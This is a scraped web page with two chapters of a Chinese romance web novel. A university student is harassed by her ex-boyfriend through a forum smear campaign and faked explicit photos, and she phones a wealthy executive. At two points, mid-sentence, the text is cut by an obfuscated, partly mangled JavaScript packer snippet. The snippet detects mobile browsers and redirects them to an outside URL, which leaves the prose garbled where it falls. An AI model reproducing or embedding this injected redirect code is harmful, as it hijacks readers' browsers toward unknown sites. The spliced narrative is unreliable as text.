即便是公车也不能司机能随便开的,大部分情况都是接送老板或是重要人物的场合才会开,所以张志漫的猜测并非空穴来风。 这天,陈易被王老师派去给肖氏集团的李特助盖章的方案,回来的时候李特助说送她一程。 下车的时候李特助将一个新的牛皮纸袋子递给了她,陈易推脱半天,李特助说:“怎么能让您空手而归,您不收下我回去会被老板批评的。” 陈易实在想不通对方到底什么意图,但李特助既然这样说了,她只好哭笑不得收下这份礼物。 谁能想到在校门口停留这短短几分钟的时间,张志漫拿着手机拍了十多张照片和视频。 24. 给他打电话 《骤雨时分》文/薄荷小企鹅 2024/11/21晋江文学城首发 - 陈易回到宿舍打开牛皮纸的礼物袋子,这次里面依然是一只抱枕,和抱枕一起的还有那张熟悉的名片。 她实在忍不住心里的疑问,拿着名片去女寝楼上的天台拨通电话。 电话嘟嘟响了三声后机械女声提示正在通话中,陈易不死心地又打了两次,仍然显示处于占线状态。她深吸一口气,在天台踱步试图缓解紧张的心情,鼓起勇气最后一次拨打了他的号码。 嘟嘟机械音三声过后,电话另一端的声音让她呼吸一滞,紧握着电话的手像是出汗了一样险些拿不稳。 “喂?” 陈易的心脏此时快要蹦出胸口,她张了张嘴一时想不出自己应该说什么。 “您是哪位?”男人的声音低沉悦耳,尽管电话里没人回应,仍耐着性子问了一遍。 她咽了咽口水,声音弱弱的:“您好,我是C大外国语学院陈易。”说完这句话她停顿许久,忽然不知道该说些什么。 对方似乎在等她继续,却只听到电话另一端紧张沉重的呼吸声。 肖玄疏勾唇笑道:“哦,是陈易啊,有事吗?” “我……”她极力想要按住起伏的胸口,深秋的夜风萧瑟寒冷,可后背的汗却浸湿了她的睡裙。 “嗯。”男人大抵是在做其他事情,好整以暇地应了一声,等待她继续说。 这种感觉就像是明知道她要说什么,却挑逗般地等待,看着她羞耻紧张、难以启齿的样子,心里莫名的愉悦。 “我想……”早在几天前打电话的时候,她就已经想好了要说什么,可听到对方声音时脑子仍然一片空白,就像是深夜转头看见对方的时候,“我想说声谢谢。” 肖玄疏把手机开外放搁在桌上,随手点了根烟:“嗯,我知道了。” 电话里传来打火机清脆响亮的声音,她知道对方应该是在抽烟,听说人在心情不好或者烦躁的时候就会抽烟,那么她给他打电话的时候,他的心情会烦躁吗? “那天晚上喝多了实在抱歉,”陈易稍微平复了下心情,咬了咬唇,“抱枕也收到了,谢谢。” “那天晚上?”肖玄疏重复她的话,话语间似乎带着笑意,“你知道那天晚上你做了什么?” 喝醉的人其实对于做了什么事情没有清晰的印象,事后想起的时候也只不过是模模糊糊的轮廓,但在人前出糗是肯定的。 “把红酒洒在了你的身上。”她老实说。 “何止是红酒洒在我身上?”肖玄疏缓缓吐出一口烟,桃花眼微微眯,饶有兴致道:“还坐在我腿上,说我像是你的抱枕。” 陈易脸颊发烫,自己真有做了这样的事情吗?原来送给她抱枕是这个原因,可是她什么时候坐在人家腿上了? “你还抓着我的手不放,非要给我讲你小时候的故事,”男人提到这里弹了弹烟灰,似乎心情愉悦,“陈易,你是真忘了还是假忘了?” 陈易也不知自己哪里来的勇气,手一抖按了挂断键。 她一口气跑到天台边,扶着天台的栏杆喘着粗气,她敢说自己生平没做过这么让人羞耻的事情,何况对方还是肖玄疏!果然是酒壮人胆,喝醉了什么人都敢调戏!像他这样的人怎么可能善罢甘休,原来给她送抱枕是在羞辱她,而不是给什么礼物! 一股复杂晦涩的情绪油然而生,打通电话前心里那块大石头不是落地了,而是就这样消失了,她看着女寝楼下来往的零星人影,心里瞬间有点空落落的。 - 英国文学课是合班上课,陈易和室友今天来得比较晚,阶梯教室中后排的位置都占满了,四个人只能在第二排选了个稍微靠边上的座位。 今天上课点名的时候,文学课老师点到陈易的名字,后面的几个男生起哄“哦”了一声,陈易回头去看是谁在起哄,对方低下头假装什么都没发生。 杨甜甜也觉得今天氛围不对劲,趁着中途下课休息十分钟,她去跟隔壁班打听了一下情况。一知半解地回到位子上打开校园论坛,目前论坛第一条top帖子配了几张图文。 “什么啊,”杨甜甜点开帖子看了一会儿,越看下去眉头越紧:“小易你最近是不是得罪人了?” 陈易的神情紧张,第一反应就是得罪了肖玄疏,不过她还是故作镇定问道:“怎么了?” “有人把你发到网上了。”杨甜甜把手机拿给陈易看,这个帖子镇楼图就是一张模模糊糊的照片,标题倒是写得很吸引眼球。 【清纯女大背地里究竟是……!】 校园论坛可以实名和匿名发帖,这人顶着一张全黑的头像匿名发布,并在评论区说每天更新一张照片。 从一楼照片来看,虽然只有一个背影,但那件衣服她穿过很多次,和陈易熟悉的都能看出来。二楼的照片是她从迈巴赫上下来的偷拍照片,像素看着是有点模糊。 【富贵迷人眼,有钱能玩系花】 这个“系花”暗示得再明显不过,外国语学院是C大人数最多的学院,陈易在大一新生晚会表演的节目,当时被很多人发到表白墙上,传来传去都说陈易是外国语学院的系花。 第三张照片,陈易从对方手中接过牛皮纸袋子,角度刚好连车里的李特助也拍到了。 【惺惺相惜,进校前“自愿赠与”神秘礼物一份】 “这人是谁啊?”这标题看着莫名其妙的,像是随便从大街上拍照,为了博眼球瞎写一个标题。 杨甜甜:“所以我刚才问你,最近是不是得罪什么人了。” 一个抱枕有什么“自愿赠与”的,除了她知道里面只是一个抱枕而不是什么贵重物品,其他人应该都不知道。她有想过是不是肖玄疏发的,但是对方会百忙之中做这样的事情吗?甚至“自愿赠与”一文不值的抱枕? “这个人在评论区说,实名私聊可吃瓜,点赞可获得‘系花千字故事’。”杨甜甜把评论区的留言念了出来。 系花千字故事?陈易心里似乎有了答案,为了不打草惊蛇,晚上下课后,她请隔壁班的同学私聊对方,不到一分钟的时候那人就发来很长的一段文字。 陈易只看了开头一百字就确定这是张志漫搞的鬼,之前帮她写马克思小论文的时候他就喜欢全篇只有结尾勇句号,这篇小作文也是这样。通篇春秋笔法描述自己如何和系花恋爱、被系花骗了、被无缝隙接轨…… “张志漫也挺过分的,分手了还搞这一套,”孙美黎双手抱胸,“还被系花骗了,骗他什么了?” 李眉皱眉:“但是这个楼主是匿名的,也不一定是张志漫发的吧。” “除了他就没有别人,”孙美黎一口咬定,“咱们几个都知道小易和俄语系的乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277835|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曼在对接运动会的赞助集团,不知情又这么关心陈易的,除了张志漫还能有谁?” 杨甜甜插嘴道:“怪不得今天上课的时候,那几个男生都跟着起哄,就是之前大一追过你的那几个。” 孙美黎撇嘴:“垃圾惺惺相惜罢了。” 翌日一大早,起床后看论坛的消息,那个匿名楼主把每一次约会消费都发了出来,还有给陈易的转账记录。这次不是无心还是故意,转账的名字*易没有打马赛克,两个字并且第二个字是易的系花,除了陈易还有谁? “这是要跟你算账呢,小易。”杨甜甜说。 陈易捧着手机看了半天,除了有一次去合心DIY手工馆是张志漫买团购券付的钱,其他大部分时候都是两个人AA制,那些所谓的给她的转账,不过是AA转账的钱罢了,竟然被他说是当初自愿赠与给她的转账? “他脑子疯了吧。” 陈易努力不让这件事收到困扰,杨甜甜和孙美黎想在帖子下发评论帮她说话,可都被对方秒删。 陈易手机一振,收到了张志漫发来的短信。 【不要逼我,我已经找人查过你了,如果你室友再来乱讲话,我就把你的那些照片全都放出去。】 照片?陈易想不明白张志漫有什么照片。 下午的时候,隔壁班的群里私下流传着陈易的照片,P图的技术一看就很伪劣,几张擦边艳照改头换面P上陈易的脸,有的照片上面头和身体的肤色都不一样。论坛帖子还有更性感的照片,帮陈易说话的一律被楼主秒删,而一些评论“吃瓜”的被留下来。 “一看就知道是AI的。”杨甜甜翻了个白眼,“实在不行,我也整个裸男照,P上张志漫的头。” 中午吃完饭,陈易去办公室找王老师。 “王老师,最近校园论坛有人发造谣我的帖子,”陈易已经忍了几天,如果再不解决这场校园闹剧只会愈演愈烈,“我想请您帮我找一下背后匿名发帖的人。” 王老师刚因为工作失误被书记骂了一顿,此时忙着重新整理运动会学生项目表格,头都没抬一下:“现在校园论坛还有几个人看?不用去理会就行了。” 陈易把自己的猜测说了出来,本来还想讲一下来龙去脉,王老师不耐烦地摆摆手。 “行了,既然分手了就不要理会他,他闹一阵子没人理他就好了。” 陈易有点委屈,自己明明不是学生会的干部,但平时经常帮王老师干活,没想到王老师连这样的事情都不会帮忙处理。 “王老师,我被偷拍是因为他觉得我和李特助有关系。”那天她就不应该坐李特助的车回学校。 王老师眉头拧着,不解陈易到底在纠结什么。 “李特助都结婚的人了,和你一个学生能有什么关系?你觉得这种话他说了有人信吗?” 其实王老师倒也不是不想帮陈易解决,只不过他刚好忙着运动会项目表格,另一方面张志漫可是土木学院院长的掌中宝,俩人之间拉拉扯扯的谁知道怎么回事,说不定明天两个人就和好了。 陈易咬了咬唇,犹豫片刻果断说道:“王老师,要不然换个人和乔曼对接李特助那边,这样我也有空闲时间处理私事。” 王老师停下手里的活,直直地看着陈易,声色严厉:“你以为想换就换?刘露珈刚回来现在带舞蹈,你之前逃课我没找你,你心里还没数吗?” 25. 错误 《骤雨时分》文/薄荷小企鹅 2024/11/23晋江文学城首发 - 星期四下午没课,孙美黎和杨甜甜看帖子千八百遍后,吐槽张志漫怎么不干一点人事儿。陈易已经在床上躺了快一下午了,临近食堂晚上开饭的时间,她忍无可忍从柜子里噼里啪啦翻出一堆东西。 “小易,你想吃什么?我和甜甜去食堂帮你打包一份。”孙美黎知道陈易这段时间心情不好,而且学生会现在事情多,陈易每天学生会和教学楼两头跑。 陈易拿出之前装水果用的大纸壳箱,把张志漫送的礼物都扔进去。一些拼多多上的塑料小饰品、约会时候路边买的干花,以及之前去DIY手工馆做的那个库洛米石膏娃娃。 怎么装都装不满一箱,索性不浪费这个箱子,换了个拆过快递的盒子装进去。 “小甜,你晚上能帮我个忙吗?”陈易眼眸清明,语气平淡。 杨甜甜看向地上纸箱的时候就已经猜到了:“你想让我把这些给张志漫还回去是不?” 陈易点头,孙美黎把盒子拿在手里掂量两下,除了那个石膏娃娃有点重量,其他都轻飘飘的,就像平时毫无存在感的张志漫一样。 “你们谈了四个多月,他就送了你这点东西?”孙美黎啧啧道,“好歹他也是追了你两年,追到手了还这么小气。” 陈易不想再提到张志漫,这些礼物她曾经也视若珍宝藏在衣柜里,没想到也会有一天像丢垃圾一样倒出来。 李特助晚上在三人群里发消息,让她们明天把签好的合同拿回去。陈易想着近两天还是避嫌,等乔曼回复消息让她去就好了,结果等了十多分钟乔曼都没回消息,陈易不想让李特助等太久,出于礼貌在群里回复“收到”。 还有几天就是运动会了,整个学生会都忙得团团转,体育部的学姐带大一大二的训练,刘露珈刚回来就去组织排练啦啦队跳舞,陈易倒是想把手上的活儿找个人推出去,但实在没机会也没人愿意接。 乔曼给陈易打电话的时候,刚好陈易又收到张志漫的短信。 “小易,我明天的课太多了,你明天去拿一下李助理说的合同呗?”如果不是宣传部的学生提醒她,她都忘记订做横幅了。 “我明天……”陈易顿了一下,她本来想让乔曼去拿合同,没想到被对方先一步抢了话。 “明天系主任要给我们开个秋招的会,而且中午都休息不了,我要去广告公司拿订做的宣传,”乔曼抱怨着:“真是什么事都赶一起,烦死了。” 陈易看着张志漫发来那条短信,心里五味杂陈,她不想让乔曼听出来自己低落的情绪,低声答应了乔曼的请求。 【你送的那两双AJ穿坏了我扔了,那条不值钱的手链我让人放你宿舍楼下的窗台了,你自己去拿吧。】 陈易跑到楼下看到宿舍一楼的公用窗台上有一条银色的手链,这个手链和她一直戴着的银色锁骨链是一套的,铂金的手链在月光下闪着寒冷的光,陈易怔怔地看着那条手链几秒,直到身后有人拍拍她的肩膀。 “小易,你怎么一个人站在这儿?”刘露珈身着白色连衣裙像个优雅仙子,而身后那辆银蓝色的库里南似乎更加吸人目光。 陈易将那条手链快速放进睡衣口袋,努力扯了扯唇角,发现自己仍旧笑不出来。 “没事,下来透透气。” 刘露珈似乎察觉到什么:“心情很不好?” “没有,我先上去了。” “等一下,”刘露珈叫住陈易,犹豫片刻和她说:“其实让你和乔曼对接那边,我也是想着避嫌,毕竟小霖和肖哥都是朋友,我不太方便。” 那辆库里南的车窗处于打开的状态,陈易看了一眼车内驾驶位的小霖,对方友好地和她挥手示意。 陈易深吸一口气:“嗯,我知道了。”原来不是什么临时顶替一下,有些事情只不过“顺便”到了她的手上。 或许是在深秋寒冷的夜风中吹得太久,第二天起床陈易觉得脑袋昏昏沉沉的,她以为是昨晚没睡好的缘故,上午课程结束后,连午饭都没吃就躺在床上睡着了。 孙美黎几人从食堂吃完饭回来,以为陈易也吃完饭休息了,便轻手轻脚地上床午休。 下午孙美黎和李眉体育课选修的网球,两个人一起出去上课,寝室只剩陈易和杨甜甜两个人,杨甜甜在床上待了一会儿准备写英国文学小论文,想起有个内容想请教陈易。 “小易,上次老师说的分组发表,你打算和谁一组呀?你要是还没组队的话,咱俩一起呗?” 杨甜甜估摸着这个时间陈易应该醒了,她爬上陈易这边的楼梯拍了拍陈易的窗帘,结果陈易一点反应都没有。 杨甜甜掀开帘子后拍了一下陈易的手:“小易,你醒了吗?”陈易的体温烫得厉害,杨甜甜赶紧用手试探一下陈易的额头,然后大力推醒陈易。 “小易,你发烧了,醒醒!” 杨甜甜推了陈易好几下,陈易迷迷糊糊地睁开眼睛,此时她整个人烧得晕头转向,张嘴想说话发觉喉咙嘶哑又痛。 “几点了?” “快五点了,你发烧了,我给你找点药吃。”杨甜甜跳下床给陈易拿药。 陈易应了声“好”,又忽然想起来点什么,撑着身子下床就要换衣服。 “你要出门吗?你需要买什么我等会出去给你带回来。”杨甜甜把药递到陈易嘴边,一脸认真地监督她吃下去。 “对接的那个合同我还没拿回来,我现在要去拿,不然人家五点半要开会就来不及了。”陈易没想到自己一睡就睡到太阳快落山了,早知道就定个闹钟了。 杨甜甜不解:“你让乔曼去拿啊,她不是也是负责人吗?” 乔曼现在肯定在开系主任组织的俄语系秋招会,而且昨天陈易答应了人家,怎么好意思让人家现在抽身去拿合同? 两个人拉扯半天,杨甜甜义正言辞地说自己去拿文件,让陈易多喝点水上床休息。 杨甜甜刚出寝室,陈易觉得胃里一顿翻江倒海,刚才喝下去的水像是瞬间被加热了一般,她跑到卫生间扶着马桶全都吐了出来。 也不知道是流感引起的发烧还是胃肠感冒,镜子里的人脸色惨白毫无生机,她平时涂粉底都不敢涂这么白。陈易自嘲地扯了扯唇角,质问自己因为张志漫无厘头的闹剧,这样折磨自己真的值得吗? 她应该过得更好,比之前还要好,让他知道无论他再怎么闹二人也绝无可能,而不是现在病恹恹的样子惹人怜惜。 - 杨甜甜回来的时候灰头土脸,不仅没拿到盖完章的合同还被一顿批评,对方当着她的面给导员王老师打电话,问责这件事的两个负责人一个都没来,反而随便叫个学生来拿合同。 如果杨甜甜不是太害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300776|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕了,她肯定不会当众说出那些话。 “乔曼每天满课还要跑其他公司的任务,陈易现在发烧到走不了路,如果不是特殊情况,谁会愿意自掏腰包打车过来?” “我们只是冲那可怜的几分量化成绩才干活,你们赞助的钱给的是学院又不是我们学生,分到钱的是学校又没分给我们,难不成还要像个牛马一样发烧也得熬着过来卖命吗?” “陈易这几天本来就被前男友造谣闹得不得安宁,心情本来就很差,她已经找王老师说过很多次帮忙解决,可是王老师管了吗?如果王老师管了,陈易至于昨晚吹一夜冷风今天发烧吗?” “我们只是帮忙做事的大学生,你们赚钱又不关我们事,合同是你们和学院王老师签的,什么守约精神请问管我们屁事?” 杨甜甜在学生会的时候总被王老师各种刁难,本以为王老师没理由不帮勤恳干活的陈易,没想到人家对谁都一个态度。 陈易看见杨甜甜垂头丧气回来的时候,心里已经凉了一半。听到杨甜甜把来龙去脉讲了一通,她安慰了下杨甜甜,第一时间给李特助打去电话准备道歉。 对方的电话处于占线状态。 再打第二遍,仍然处于占线状态。 李特助在给谁打电话呢?会不会是王老师?陈易心里一沉,她被王老师批评处罚没关系,但这件事涉及到乔曼和杨甜甜,杨甜甜一时冲动足够对方去王老师那告一状了。 陈易给李特助编辑道歉信息,无论怎么发都觉得语气不够诚恳,她打字的手有点颤抖,不仅是因为紧张还有害怕。发了几条道歉信息,李特助都没有回复,或许他们现在开会没法看手机……至少昨天是这样说的。陈易安慰自己。 “对不起,我连累你了,”杨甜甜凑过来,小声解释道:“那个李助理真的太气人,说什么我们没有契约精神,不守时,对待工作的态度不认真,私自换人什么的……我当时有点着急,一激动就……” 陈易摇了摇头,杨甜甜本来就是帮她忙的,无论如何都怪不到杨甜甜身上。 “我出去打个电话。”陈易说。 她走到天台,手机的通话记录有一个C市开头的号码,这号码尾数6688,想让人忘记都难。 她深吸一口,拨通了电话。电话里传来悦耳的等待铃声,时间在一秒一秒地流失,就在陈易快要放弃的时候,几声机械提示音后,对方接通了电话。 “喂?” 陈易感觉空气都停滞了一秒,她紧张地问道:“不好意思,请问您现在方便说话吗?” 男人看向会议桌前坐着公司的高管和几个股东,正在进行着敲定下个项目的投标会议,主讲人暂停会议的讲解,站在一旁等待着老板这个电话的结束。 肖玄疏幽深的目光落在面前的招标文件,语气沉稳:“你说。” 陈易长话短说,在半分钟的时间把下午的事情解释并且道歉,态度十分诚恳。 肖玄疏没有打断对方的话,饶有耐心地听着,在对方一口气说完后,他沉声道:“好,我知道了。” 会议室在肖玄疏这通电话挂断后仍旧静默了两秒,男人抬手示意会议继续进行。 八点钟会议结束后,肖玄疏让李特助推掉几个股东邀请的饭局,神色镇定地翻了翻那份没能取走的对接合同。 “等会八点半,请C大的几位校领导吃个饭,你来安排一下。”